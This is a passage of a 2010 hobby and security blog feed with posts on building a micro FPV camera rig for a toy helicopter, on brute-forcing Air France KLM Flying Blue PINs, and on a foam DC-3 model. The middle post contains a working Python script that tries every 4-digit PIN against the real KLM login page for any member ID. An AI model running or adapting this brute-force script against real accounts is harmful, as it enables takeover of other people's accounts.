<p>Be careful when soldering, clean up your iron (steel wool), tin it, tin the wires, and when you solder a wire to a board (wire and board must be &#8220;pre-tined&#8221;), always have some tin on the iron. A good soldering does not take more than 5 seconds, and prevents burning the board/wires/etc.</p>
<h2>The Airwave transmitter</h2>
<p>The transmitter comes with pins and a metal heat-sink. We need to remove that.</p>
<h4>Let&#8217;s start with the pins</h4>
<p>- heat up the bottom of each pin (the tin) while slowly pulling the pin at the other end with a forceps (not fingers, you will burn yourself). It&#8217;s a bit tedious, but not very hard. If the black plastic holding the row of pins melts a little, do not worry. You can trash it afterwards. Just do not burn the board.</p>
<p>- check each spot where the pin was is clearly separated from the other spots (tin must not make contact), and that it has minimum tin on it (if you don&#8217;t see a hole, but a little square of tin, then that&#8217;s good)</p>
<h4>Now, move on to the heat-sink</h4>
<p>With a screwdriver, pop off the top of the heat-sink. This is quite easy (enlarge the top of the heat-sink a bit with the screwdriver first then it goes off by itself).</p>
<p>There will be 4 metal sides left. Those are a little more delicate. You&#8217;ll noticed each corner has a small square metal part. Grab your squeezer/forceps (if possible, not big ones) and grab one of these corners.</p>
<p>Pull slightly but strongly until the square goes in-line with the rest of the metal bar, then gently pull/turn/bend the metal until it gets off the board. The soldering holding the metal bar is minimum and does not require heating to get off. Once the bar is getting away its easy to &#8220;peel it off&#8221;. repeat with each corner until the heat-sink is gone.</p>
<p>During this process, make sure you do not damage the board!</p>
<div id="attachment_207" class="wp-caption aligncenter" style="width: 160px"><a href="http://insecure.ws/wp/wp-content/uploads/2010/02/24022010531.jpg"><img class="size-thumbnail wp-image-207" title="airwave tx prepped" src="http://insecure.ws/wp/wp-content/uploads/2010/02/24022010531-150x150.jpg" alt="" width="150" height="150" /></a><p class="wp-caption-text">Airwave TX ready to go!</p></div>
<p style="text-align: center;">
<h2>The zippy 50mah batteries</h2>
<p>You will need to solder the micro JST HX plugs on the batteries. Cut some micro JST HX wires in half (one per battery) and keep the male plug part of the wire. (keep at least one female side).</p>
<p>Prepare the 2 wires (black and red) for soldering and put your shrink tube onto it if you decide to use it. Super glue the wires to the plug, a small drop should be enough.</p>
<p>This is necessary, because these cheap plugs are going to wear off and break rapidly (they sometimes just break at first use!). They could even damage your battery or heli by shorting it! I had an extensive experience of those plugs and let me repeat again: do the super glue trick, you&#8217;ll thanks yourself later.</p>
<p>Secure the battery somewhere (multi-tool, tape, or someone elses hand for example) and make sure you never put the 2 pad  (+ and -) into contact or the battery might break/explose/catch fire (really!). Be careful with the solering iron, its easy to short them that way.</p>
<p>Put some tin on each pad, let it heat up long enough for the tin to grip (i usually need at least 20s), else the tin will just fall off.</p>
<p>When ready, put the wires on the pads, solder, let it dry, verify its not going to break (pull gently on the wires, if it breaks, re-solder and make sure the tin grip to the pad).</p>
<p>You can then put the shrink wrap/tubes on top of the solder or just your electric tape, to ensure the battery won&#8217;t be shorted.</p>
<p>Repeat for each battery of course.</p>
<p>The Hyperion batteries do not need soldering, at these have standard micro JST HX plugs already.</p>
<div class="wp-caption alignnone" style="width: 298px"><img title="zippy battery 50mah" src="http://insecure.ws/wp/wp-content/uploads/HLIC/8031fb306b4e721b12a75fe7cb220e7e.jpg" alt="" width="288" height="384" /><p class="wp-caption-text">Zippy battery is ready</p></div>
<h2>Making the 5.8Ghz antenna</h2>
<p>Take your single core wire and mesure the size corresponding to your frequency. I use 5860mhz, as it does not require any soldering (if you do not know, just use the same frequency as I do).</p>
<p>Here is one calculator to get the antenna length: <a href="http://www.csgnetwork.com/antennaevcalc.html">http://www.csgnetwork.com/antennaevcalc.html</a></p>
<p>The quarter wave length for this 5860Mhz frequency is therefore 1.2 cm. This is the length we need. Cut approx 1.4 cm, so that 2mm are used for the soldering. The 1.2cm must be the part of the antenna that is clear of the board/solder pad.</p>
<p>Since we use this antenna for a tiny heli and we&#8217;re not going to go far, its usually ok to just cut the antenna and use it. However for maximum performance, you might want to cut it a bit longer than required, and test the range, and trim it as necessary until you get the best range.</p>
<div id="attachment_209" class="wp-caption aligncenter" style="width: 160px"><a href="http://insecure.ws/wp/wp-content/uploads/2010/02/25022010536.jpg"><img class="size-thumbnail wp-image-209" title="camera and antenna" src="http://insecure.ws/wp/wp-content/uploads/2010/02/25022010536-150x150.jpg" alt="" width="150" height="150" /></a><p class="wp-caption-text">1/4 wave antenna and micro camera</p></div>
<h2>Soldering the video transmitter and camera</h2>
<p>Cut 3 short wires (if possible one black, one red and one of another color so that you don&#8217;t mix up), of approx 3 to 5 cm. Prepare them for soldering.</p>
<p>Solder the positive (+) of the video transmitter to the camera&#8217;s positive (+)</p>
<p>Solder the video pad of the video transmitter to the camera&#8217;s video pad</p>
<p>Solder the negative/ground (-) of the video transmitter to the camera&#8217;s ground.</p>
<p>You can shrink wrap/tube the camera&#8217;s wire, or use electric tape. its so small that I just use electric tape here.</p>
<p>Here are the pins of the camera (notice the long rectangular component for orientation!)</p>
<div class="wp-caption alignnone" style="width: 245px"><img title="FC420 pinout" src="http://insecure.ws/wp/wp-content/uploads/HLIC/40d408fec30130f1f522c0b9e00610ef.jpg" alt="" width="235" height="335" /><p class="wp-caption-text">Image courtesy of flytron.com</p></div>
<p>And the pins of the Airwave transmitter (Vcc is +, GND is -, RFOut is the antenna):</p>
<p><img class="alignnone" title="airwave pinout" src="http://insecure.ws/wp/wp-content/uploads/HLIC/b14af6cc2ee1e9a95c565f1ac95ce9d2.png" alt="" width="407" height="171" /></p>
<h2>Pre-selecting channels</h2>
<p>The easiest, lightest way is just to do nothing. This will give you 5860mhz (channel 7).</p>
<p>However, you can solder the &#8220;BIT&#8221; pins to ground using small wires, if you which to select another frequency.</p>
<p>Use this table for reference (OPEN means no soldering, to GND means link it to the ground (-) ):</p>
<p><img class="alignnone" title="Airwave frequency selection" src="http://insecure.ws/wp/wp-content/uploads/HLIC/28c51a09073cef66dc5a025842490835.png" alt="" width="613" height="174" /></p>
<p>If you change the frequency, don&#8217;t forget to cut the proper antenna length (as discussed earlier)</p>
<h2>Soldering the Airwave transmitter antenna</h2>
<p>Carefully solder the antenna to the RFout pin and verify it&#8217;s the length you planned (if required, trim, re-solder, or make a new, longer antenna).</p>
<p>Keep in mind the antenna will be vertical, pointing to the top or bottom.</p>
<div class="wp-caption alignnone" style="width: 394px"><img class=" " title="FPV stuff" src="http://insecure.ws/wp/wp-content/uploads/HLIC/24f81d838c8d1c5766fc330a166093c7.jpg" alt="" width="384" height="288" /><p class="wp-caption-text">Light enough for you?</p></div>
<h2>Soldering the battery wires</h2>
<p>Remember the micro JST-HX female plug you&#8217;ve kept from soldering batteries? Time to put &#8220;her&#8221; at good use. Solder the + and &#8211; (red is +, black is-) directly on the Airwave transmitter + and -. No voltage conversion is required, even thus the transmitter specs says it accepts a minimum of 4.8V, it actually works at 3.3V (the batteries deliver from 3.3V to 4.2V)</p>
<p>If you did not use shrink tube/wrap, you may also use electric tape once again, around the pins of the airwave, to avoid shortcuts.</p>
<p>You should now have a nice &#8220;micro FPV&#8221; set, ready to go. Check the connections with your multimeter (verify that there are no shortcuts).</p>
<h1>Testing the video transmission</h1>
<p>Alright, the first exciting part!</p>
<p>Plug your battery, battery monitor to the Airwave receiver (video the JST/barrel connector), deploy the patch antenna, turn on, and select the channel you planned to use (e.g. channel 7 in my examples).</p>
<div id="attachment_211" class="wp-caption aligncenter" style="width: 160px"><a href="http://insecure.ws/wp/wp-content/uploads/2010/02/25022010537.jpg"><img class="size-thumbnail wp-image-211 " title="Receiver" src="http://insecure.ws/wp/wp-content/uploads/2010/02/25022010537-150x150.jpg" alt="Receiver, batterie, easyCap powered and receiving" width="150" height="150" /></a><p class="wp-caption-text">Receiver, batterie and easyCap ready and powered</p></div>
<p style="text-align: center;">
<p>Plug the audio/video wires (we&#8217;re not using audio so it doesn&#8217;t matter if you plug them), they&#8217;re red/white/yellow from the receiver to your NTSC TV, Goggles, or even computer/laptop if you can (via the EasyCap for example). Again, they must be set to NTSC. (most devices allow PAL and NTSC).</p>
<p>Verify you get a signal (black/white &#8220;snow&#8221; screen) like this:</p>
<p><img class="alignnone" title="Snow screen" src="http://insecure.ws/wp/wp-content/uploads/HLIC/7768ec4bd581214feaec4726c9ff1468.jpg" alt="" width="240" height="160" /></p>
<p>If you do not (black screen e.g.), check your Airwave receiver and connections, or EasyCap configuration. (While we&#8217;re at it, once again, if you use EasyCap make sure you set it to NTSC. The camera is available only as NTSC).</p>
<p>Plug one of the zippy 50mah to the micro FPV system you&#8217;ve just built, make sure nothing heats up or burn or explodes or kill your cat (else unplug quickly).</p>
<p>You should now get an image on the screen. If you do not, check your connections again, if possible with a multimeter. Make sure you damaged nothing. Eventually, ask someone else for assistance.</p>
<p>Once you played a bit with it, check the camera orientation, so that you can differentiate the top of the camera. This will be useful to place it properly (and not reversed..) in the helicopter. Make sure you turn it off by unplugging the battery, as it would drain it up and kill the battery. (you may also turn off the receiver while you are not using it).</p>
<h1>Installation on the Blade mSR</h1>
<p>Finally you say? <img src='http://insecure.ws/wp/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>You are of course free to install it however you please, but I will detail my own installation as it seems to balance the heli well enough.</p>
<p>One important thing, is to have the video transmitter as far as possible from the RC receiver.. barely possible on and heli like this one however.</p>
<h2>Camera</h2>
<p>The camera is at the front, slightly facing downwards. I have cut the canopy at the front (you can get a new one for 12-15USD, so that you can exchange them when you don&#8217;t want to fly FPV ! they&#8217;re easily removable.).</p>
<p>There are 2 small bits of plastic shapes which will make your life hell to place the camera properly. I decide to just cut them out and replace them by clear tape ! however you do it, make sure the camera is well placed, and that the image is going to be correct (power it on to very) and not reversed for example. I used 2 straps of electric tape behind the camera to fix it inside the canopy. It&#8217;s flexible and easy to remove. Resists crashes well.</p>
<h2>Video Transmitter</h2>
<p>I taped it right under the canopy with electric tape. The tape covers the sensible parts of the transmitter as well as holding it onto the canopy. The part of the board with the components is facing to the ground, and will heat up slightly (it wont burn, but make sure you use electric tape so that it doesnt melt the tape..).</p>
<p>The antenna is installed upwards or downwards, just make sure it does not touch the blades or the ground so that it doesnt get damaged. It is important to be vertical.</p>
<p>While you&#8217;re at it, verify that your Blade mSR RC receiver antenna is horizontal (it is like that, by default).</p>
<p>This will provide the best signal in both cases.</p>
<div class="wp-caption alignnone" style="width: 394px"><img class=" " title="heli airwave" src="http://insecure.ws/wp/wp-content/uploads/HLIC/2eb2b38e1c36d7d7ac6e902a2807b361.jpg" alt="" width="384" height="288" /><p class="wp-caption-text">Video transmitter taped on the canopy (and the cute 1/4 antenna)</p></div>
<p><strong>UPDATE:</strong></p>
<p>I have now put the transmitter <strong>INSIDE </strong>the cockpit, and the antenna goes through the plastic. Cooling and video reception are a little less good, but there&#8217;s a good reason for this. See the metal crystal (tube thing)? That&#8217;s right. One day, i&#8217;ve had a bad landing. Not really a big crash really. It was enough to break the crystal (internally), which effectively kills the video TX <img src='http://insecure.ws/wp/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<h2>Powering up, in the heli</h2>
<p>I use a piece of tape to fix the video transmitter battery on the rear skids of the mSR, or sometimes on the tail bom (its not as pretty), to balance the center of gravity (the camera and video transmitter being at the front, they slightly unbalance the heli).</p>
<p>I put the hyperion battery in the regular tray of the Blade mSR, maybe a bit slightly more on the back than usual for the same reason.</p>
<p>When you plug the mSR battery, make sure it is on flat ground. This is because the gyroscope initialize when you plug the battery. If the heli is not on flat ground when it initialize, its going to try to correct wrongly in the air and be unstable/hard to pilot.</p>
<p>Try first to fly it around without looking at the video screen. When you&#8217;re comfortable, and the balance of the heli is correct, you can fly with the video. You can even fly only watching the video!</p>
<p>The heli and components are quite strong, so a few crashes usually won&#8217;t do no harm, but hey, it&#8217;s even better if you don&#8217;t crash&#8230; <img src='http://insecure.ws/wp/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>When the video goes &#8220;snowy&#8221; again, land and remove the video (zippy) battery quickly, else you will damage it. In fact, you can just change/recharge it every 10min to make sure this doesn&#8217;t happen. It&#8217;s charging very quickly due to the small capacity.</p>
<p>Have fun, and if you record some videos of your flights using this setup, be sure to post them here in the comments!</p>
<p>Thanks!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.insecure.ws/2010/02/25/ultra-micro-video-controlled-heli-blade-msr/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>AF/KLM cheap password recovery</title>
		<link>http://www.insecure.ws/2010/02/25/188</link>
		<comments>http://www.insecure.ws/2010/02/25/188#comments</comments>
		<pubDate>Thu, 25 Feb 2010 11:36:25 +0000</pubDate>
		<dc:creator>kang</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[aif france]]></category>
		<category><![CDATA[klm]]></category>
		<category><![CDATA[password]]></category>

		<guid isPermaLink="false">http://www.insecure.ws/?p=188</guid>
		<description><![CDATA[I, for one, fly with Air France KLM a few dozen times a year. They have a membership program, which grants you discounts on flights, book flights, get &#8220;free&#8221; items,  and other advantages, called Flying Blue. Like most of these membership programs these days, its accessible online, and you actually do most of the stuff [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="aligncenter" title="Lost plane crash" src="http://insecure.ws/wp/wp-content/uploads/HLIC/e42cd7bb7aeee3963676052c369b6850.jpg" alt="" width="200" height="100" /></p>
<p>I, for one, fly with Air France KLM a few dozen times a year.</p>
<p>They have a membership program, which grants you discounts on flights, book flights, get &#8220;free&#8221; items,  and other advantages, called Flying Blue.</p>
<p>Like most of these membership programs these days, its accessible online, and you actually do most of the stuff with it online.</p>
<p>The identification code is a 10 digits code formatted like this one: 201xxxxxxx</p>
<p>The password is a 4 digits number.</p>
<p>Well, how many passwords can you have for one identification code? that&#8217;s right, 10 000.</p>
<p>Sounds like much? Not really. That&#8217;s 4 digits with 10 values each. Passwords considered secure nowadays have 8 digits with approx. 104 values each (it can be more or less).</p>
<p>Of course that&#8217;s not all what will make a password secure, but this is not the point.</p>
<p>I lost my password to this service a while ago, and despite my E-Mail and real life requests did not get a new password after a few month, so I decided I&#8217;d just recover it myself. And recover it I did.</p>
<p>A simple script takes an hour to test all the combinations. The issue lies in the fact that you can just put any other identification code, and find the password for it (effectively getting anyone&#8217;s password).</p>
<p>I have notified Air France KLM 3 month ago about this, without a single reply (just like the requests to get the password reset afterall). They just do not care.</p>
<p>The script to do this is after the jump.</p>
<p><span id="more-188"></span></p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#!/usr/bin/python</span>
import urllib2<span style="color: #339933;">,</span> re<span style="color: #339933;">,</span> urllib<span style="color: #339933;">,</span> cookielib
import sys
&nbsp;
HOST<span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;https://secure.klm.com/travel/logon/de_en?resultCode=3&quot;</span>
HOST1<span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;https://secure.klm.com/&quot;</span>
USER_AGENT<span style="color: #339933;">=</span><span style="color: #ff0000;">'Mozilla/4.0 (compatible;MSIE 5.5;Windows NT)'</span>
USER<span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #339933;">#put the identification code here</span>
MAX<span style="color: #339933;">=</span><span style="color: #0000dd;">9999</span>
&nbsp;
cj <span style="color: #339933;">=</span> cookielib.<span style="color: #202020;">CookieJar</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
opener <span style="color: #339933;">=</span> urllib2.<span style="color: #202020;">build_opener</span><span style="color: #009900;">&#40;</span>urllib2.<span style="color: #202020;">HTTPCookieProcessor</span><span style="color: #009900;">&#40;</span>cj<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
urllib2.<span style="color: #202020;">install_opener</span><span style="color: #009900;">&#40;</span>opener<span style="color: #009900;">&#41;</span>
r <span style="color: #339933;">=</span> urllib2.<span style="color: #202020;">urlopen</span><span style="color: #009900;">&#40;</span>urllib2.<span style="color: #202020;">Request</span><span style="color: #009900;">&#40;</span>HOST1<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
&nbsp;
<span style="color: #b1b100;">for</span> i in xrange<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> MAX<span style="color: #339933;">+</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span>
        pin <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;0000&quot;</span>
        ln <span style="color: #339933;">=</span> len<span style="color: #009900;">&#40;</span>str<span style="color: #009900;">&#40;</span>i<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #b1b100;">if</span> ln <span style="color: #339933;">==</span> <span style="color: #0000dd;">3</span><span style="color: #339933;">:</span>
                pin <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;0&quot;</span><span style="color: #339933;">+</span>str<span style="color: #009900;">&#40;</span>i<span style="color: #009900;">&#41;</span>
        elif ln <span style="color: #339933;">==</span> <span style="color: #0000dd;">2</span><span style="color: #339933;">:</span>
                pin <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;00&quot;</span><span style="color: #339933;">+</span>str<span style="color: #009900;">&#40;</span>i<span style="color: #009900;">&#41;</span>
        elif ln <span style="color: #339933;">==</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">:</span>
                pin <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;000&quot;</span><span style="color: #339933;">+</span>str<span style="color: #009900;">&#40;</span>i<span style="color: #009900;">&#41;</span>
        <span style="color: #b1b100;">else</span><span style="color: #339933;">:</span>
                pin <span style="color: #339933;">=</span> str<span style="color: #009900;">&#40;</span>i<span style="color: #009900;">&#41;</span>
        form <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><span style="color: #ff0000;">'miles'</span><span style="color: #339933;">:</span> USER<span style="color: #339933;">,</span>
                <span style="color: #ff0000;">'forwardurl'</span><span style="color: #339933;">:</span> <span style="color: #ff0000;">''</span><span style="color: #339933;">,</span>
                <span style="color: #ff0000;">'pin'</span><span style="color: #339933;">:</span> pin<span style="color: #339933;">,</span>
                <span style="color: #ff0000;">'remember'</span><span style="color: #339933;">:</span> <span style="color: #ff0000;">'on'</span><span style="color: #339933;">,</span>
                <span style="color: #009900;">&#125;</span>
        data <span style="color: #339933;">=</span> urllib.<span style="color: #202020;">urlencode</span><span style="color: #009900;">&#40;</span>form<span style="color: #009900;">&#41;</span>
        headers <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><span style="color: #ff0000;">'User-Agent'</span><span style="color: #339933;">:</span> USER_AGENT<span style="color: #009900;">&#125;</span>
        req <span style="color: #339933;">=</span> urllib2.<span style="color: #202020;">Request</span><span style="color: #009900;">&#40;</span>HOST<span style="color: #339933;">,</span> data<span style="color: #339933;">,</span> headers<span style="color: #009900;">&#41;</span>
        r <span style="color: #339933;">=</span> urllib2.<span style="color: #202020;">urlopen</span><span style="color: #009900;">&#40;</span>req<span style="color: #009900;">&#41;</span>
        source <span style="color: #339933;">=</span> r.<span style="color: #202020;">read</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #b1b100;">if</span> re.<span style="color: #202020;">search</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'Unknown user name'</span><span style="color: #339933;">,</span> source<span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> None<span style="color: #339933;">:</span>
                print <span style="color: #ff0000;">&quot;LOGIN OK:&quot;</span><span style="color: #339933;">,</span> USER<span style="color: #339933;">,</span> pin
                sys.<span style="color: #202020;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #b1b100;">else</span><span style="color: #339933;">:</span>
                print <span style="color: #ff0000;">&quot;:(&quot;</span><span style="color: #339933;">,</span> pin</pre></div></div>

<p>Easy as pie :p</p>
]]></content:encoded>
			<wfw:commentRss>http://www.insecure.ws/2010/02/25/188/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DC-3 / C-47 Build log</title>
		<link>http://www.insecure.ws/2010/01/21/dc-3-c-47-build-log</link>
		<comments>http://www.insecure.ws/2010/01/21/dc-3-c-47-build-log#comments</comments>
		<pubDate>Thu, 21 Jan 2010 14:12:40 +0000</pubDate>
		<dc:creator>kang</dc:creator>
				<category><![CDATA[FPV]]></category>
		<category><![CDATA[build log]]></category>
		<category><![CDATA[c-47]]></category>
		<category><![CDATA[dc-3]]></category>
		<category><![CDATA[foam]]></category>
		<category><![CDATA[plane]]></category>

		<guid isPermaLink="false">http://www.insecure.ws/?p=178</guid>
		<description><![CDATA[Once upon a time, I decided to try to build my own plane from scratch. That is, from nearly complete scratch, you know. Just deciding on one and making it without externals plans and so on. I quite like the DC-3 look. It has been converted as a military plane called the C-47  Skytrain (they [...]]]></description>
			<content:encoded><![CDATA[<p>Once upon a time, I decided to try to build my own plane from scratch. That is, from nearly complete scratch, you know. Just deciding on one and making it without externals plans and so on.</p>
<p>I quite like the <em>DC-3 </em>look. It has been converted as a military plane called the<em> C-47  Skytrain</em> (they share the same airframe).</p>
<p style="text-align: center;"><img class="aligncenter" title="C-47" src="http://insecure.ws/wp/wp-content/uploads/HLIC/68cf0343a322d4dd77194a9a82dd5799.jpg" alt="" width="272" height="212" /></p>
<p style="text-align: center;"><span id="more-178"></span></p>
<p><strong>Quick overview of the research and build planning</strong></p>
<p>The wing shape is hard to mistake for another plane, as well as the pronounced wing angle or the large rudder control surface.</p>
<p>The engine&#8217;s propellers are also strangely extremely close to the fuselage.</p>
<p>I have found the original plane&#8217;s dimensions and characteristics on <a href="http://en.wikipedia.org/wiki/Douglas_DC-3">wikipedia</a>:</p>
<p><img class="alignleft" title="DC-3 silhouette" src="http://insecure.ws/wp/wp-content/uploads/HLIC/59e7999bed20145c12c4f842b2271ef1.jpg" alt="" width="317" height="419" /></p>
<p>- 19.7 meters long</p>
<p>- 29 meters wingspan</p>
<p>- 5.16 meters high</p>
<p>- 8.3 tons empty, 11.4 tons maximum load</p>
<p>- 3 bladed Hamilton Standard 23E50 propellers</p>
<p>I also found out various things while researching the plane&#8217;s characteristics, like<a href="http://www.douglasdc3.com/sohn/44.htm"> this funny story</a>. This is a guy who&#8217;s been trying to take off with a DC-3 and a glider attached, but could not. That is because the DC-3&#8242;s wings have a negative angle of attack, which are sticking it to the ground until you pull. This is done to allow taxiing with the rudder, as wheels where not linked to the sterring system.</p>
<p>For my model, I decided to use a slightly positive angle of attack, since I don&#8217;t care all that much for taxiing and it makes the flying easier (the plane stays straight without using the horizontal stabilizer too much).</p>
<p>I decided to use a complete foam construction, scaled at approx 1:50. The wings were made by a CNC system here <a href="http://www.fly-and-fun2002.de/">http://www.fly-and-fun2002.de/</a> after I sent the precise mesurements of course. This ensure the wings are perfectly cut as its the most important part of the plane. The airfoil profile is <a href="http://en.wikipedia.org/wiki/NACA_airfoil">NACA2412</a>.</p>
<p><a href="http://insecure.ws/wp/wp-content/uploads/2010/01/wingdc3.png"><img class="aligncenter size-thumbnail wp-image-179" title="wing dc3" src="http://insecure.ws/wp/wp-content/uploads/2010/01/wingdc3-150x150.png" alt="" width="150" height="150" /></a></p>
<p>The drawing gives all the mesurements necessary. Other parts of the plane (fuselage, rudder, horizontal stabilizer, inlets and motors) where mesured in the same manner, and printed out.</p>
<p>The fuselage is then cut from a block of styrofoam, as instructed by <a href="http://www.fly2air.com/w05/bb2-main.htm">Thomas&#8217;s website</a>. Everything was cut with a regular metal saw and sharp knife. I would recommand a &#8220;hotwire&#8221; however (basically, a wire that is hot enough to cut through the foam), as the other tools cannot make a perfect cut on large pieces. Everything is heavily sanded afterwards.</p>
<p>Most of the modelling is done by sanding and thus approximate.</p>
<p><strong>&#8220;Pictured building</strong>&#8221;</p>
<p>First we draw the printed version on a block of foam&#8230;</p>
<p><img class="alignnone" title="foam1" src="http://insecure.ws/wp/wp-content/uploads/HLIC/708640476ae42bcc077cfaaae1bba16e.jpg" alt="" width="384" height="288" /></p>
<p>Then we cut a raw version of the fuselage&#8230; (note the very unperfect cut of the saw)</p>
<p><img class="alignnone" title="foam2" src="http://insecure.ws/wp/wp-content/uploads/HLIC/cca7df36105cbe61cb0b482e939f036a.jpg" alt="" width="384" height="288" /></p>
<p>We cut all sides as well, it start to look like remotely like a fuselage&#8230; (note the multiple markers to help with the cut)</p>
<p><img class="alignnone" title="foam3" src="http://insecure.ws/wp/wp-content/uploads/HLIC/dab5428576dbf5acd533e21008e959ff.jpg" alt="" width="384" height="288" /></p>
<p>And we have something that look remotely like a plane (yeah sort of!). Note the paper version I made to give me an idea of the design of the plane when finished. Plans for the paper version are from <a href="http://www.fiddlersgreen.Net">fiddlers green</a>.</p>
<p><img class="alignnone" title="foam4" src="http://insecure.ws/wp/wp-content/uploads/HLIC/91065a637290499763b01a209527a7cb.jpg" alt="" width="288" height="384" /></p>
<p>At this point, I cut all angles at 30 degres with the saw, and start sanding heavily.</p>
<p><img class="alignnone" title="foam5" src="http://insecure.ws/wp/wp-content/uploads/HLIC/027a3308ba343fd45cc2c6b36d3c6d22.jpg" alt="" width="384" height="288" /></p>
<p>Wings parts glued together, engines dones, more sanding (it looks like a peeled potatoe at this point.)</p>
<p><img class="alignnone" title="foam7" src="http://insecure.ws/wp/wp-content/uploads/HLIC/a2ea6804205eff9141c4100ed30b0288.jpg" alt="" width="384" height="288" /></p>
<p>Note that the propellers are 2 bladed, as 3 blades would draw too much current and fry the tiny speed controllers.</p>
<p>Also, they&#8217;re mounted a bit further apart than the original due to this, else they would hit the fuselage. If i remade it, I would make the central wing larger (even if it wouldnt be scale size anymore). However it looks ok like this as well.</p>
<p>The  small HobbyKing AP03 motors fit inside the foam and the wires are going through.</p>
<p><img class="alignnone" title="foam6" src="http://insecure.ws/wp/wp-content/uploads/HLIC/cd977f381f6b2b71fe3106267e2cf71e.jpg" alt="" width="384" height="288" /></p>
<p>Even more sanding, it  start to look like something! (motors are not yet glued in and &#8220;fall&#8221; out)</p>
<p><img class="alignnone" title="foam8" src="http://insecure.ws/wp/wp-content/uploads/HLIC/54dd20e0b966021f501ea96e3b651472.jpg" alt="" width="384" height="288" /></p>
<p>At this point, I&#8217;ve cut and sand stabilizer and rudder (the rudder is not that nice, maybe i&#8217;ll remake one). Then a large area of the cockpit is &#8220;chopped off&#8221; the plane to allow &#8220;digging&#8221; the foam (weight) and placing the electronics. There is an AR6400L and a 450mah 1S zippy battery in there currently. Digging was done by precutting sides with a sharp knife, and really actally dig with a screwdriver and various such tools, then heavily sanded. Once again a hotwire would have done this much quicker and nicer I guess. However the result here isn&#8217;t so bad. Note that I digged also the rear of the fuselage, behind the AR6400L receiver, mainly for weight issues.</p>
<p><img class="alignnone" title="foam10" src="http://insecure.ws/wp/wp-content/uploads/HLIC/54d36634d295436abd5f2ae1101308e7.jpg" alt="" width="384" height="288" /></p>
<p>When the cockpitt/canopy is closed, you can&#8217;t see the cut!(but you can see the ugly rudder <img src='http://insecure.ws/wp/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><img class="alignnone" title="foam11" src="http://insecure.ws/wp/wp-content/uploads/HLIC/8c2a08e05c787dc68bcd51e37ee308fa.jpg" alt="" width="384" height="288" /></p>
<p>Current weight for the complete airframe is 26.1 grams. Not too bad I hope, but I guess it could have been better. Used lot of glue, and didn&#8217;t sand as hard as possible inside the fuselage by fear of fragilizing something.</p>
<p><img class="alignnone" title="Foam9" src="http://insecure.ws/wp/wp-content/uploads/HLIC/78ed5579d306c1046f31a323709bb197.jpg" alt="" width="288" height="384" /></p>
<p><strong>Parts used</strong> (so far)</p>
<p>- Foam blocks (free / from Thomas)</p>
<p>- UHU Por glue (foam)</p>
<p>- UHU Hart glue (for plastics etc)</p>
<p>- Metal saw</p>
<p>- Hobby/Sharp knife(s)</p>
<p>- Various screwdrivers (mind you, not for actual screwing)</p>
<p>- <a href="http://www.hobbycity.com/hobbycity/store/uh_viewItem.asp?idProduct=9663">AP03 7500kv engine</a> (x2)</p>
<p>- <a href="http://www.hobbycity.com/hobbycity/store/uh_viewItem.asp?idProduct=9667">XP3A micro ESC</a> (x2) (this stuff drives the motors)</p>
<p>- <a href="http://www.hobbycity.com/hobbycity/store/uh_viewItem.asp?idProduct=10038">GWS 3020 propeller</a> (x2)</p>
<p>- <a href="http://www.horizonhobby.com/Products/Default.aspx?ProdID=SPMAR6400L">AR6400L</a> Spektrum receiver (2 servos on board for stab and rudder)</p>
<p>- <a href="http://www.horizonhobby.com/Products/Default.aspx?ProdID=SPMAS2000L">SPMAS200L</a> &#8220;Long Throw&#8221; micro servos (x2) (for ailerons)</p>
<p>- Ponal wood blue and japan paper (ultra light paper you can find when buying a shirt for example), for covering</p>
<p>- Ultra thin electronic wire (0.1 mm) (for motors linkage)</p>
<p>- 1mm carbon fiber tubes (for stab and rudder linkage)</p>
<p>- <a href="http://www.hobbycity.com/hobbycity/store/uh_viewItem.asp?idProduct=7571">Zippy 450mah</a> 20C, <a href="http://media.hyperion.hk">Hyperion G3 240mah</a> 25C 1S batteries</p>
<p>- <a href="http://www.hobbycity.com/hobbycity/store/uh_viewItem.asp?idProduct=9727">Mini JST-HX connectors</a> (soldered manually to the batteries)</p>
<p>Thanks a lot to Thomas who helped me with absolutely everything. His website: <a href="http://www.fly2air.com/">http://www.fly2air.com</a> (with a lot of nice planes!)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.insecure.ws/2010/01/21/dc-3-c-47-build-log/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>FPV: Starting blocks</title>
		<link>http://www.insecure.ws/2010/01/07/fpv-starting-blocks</link>
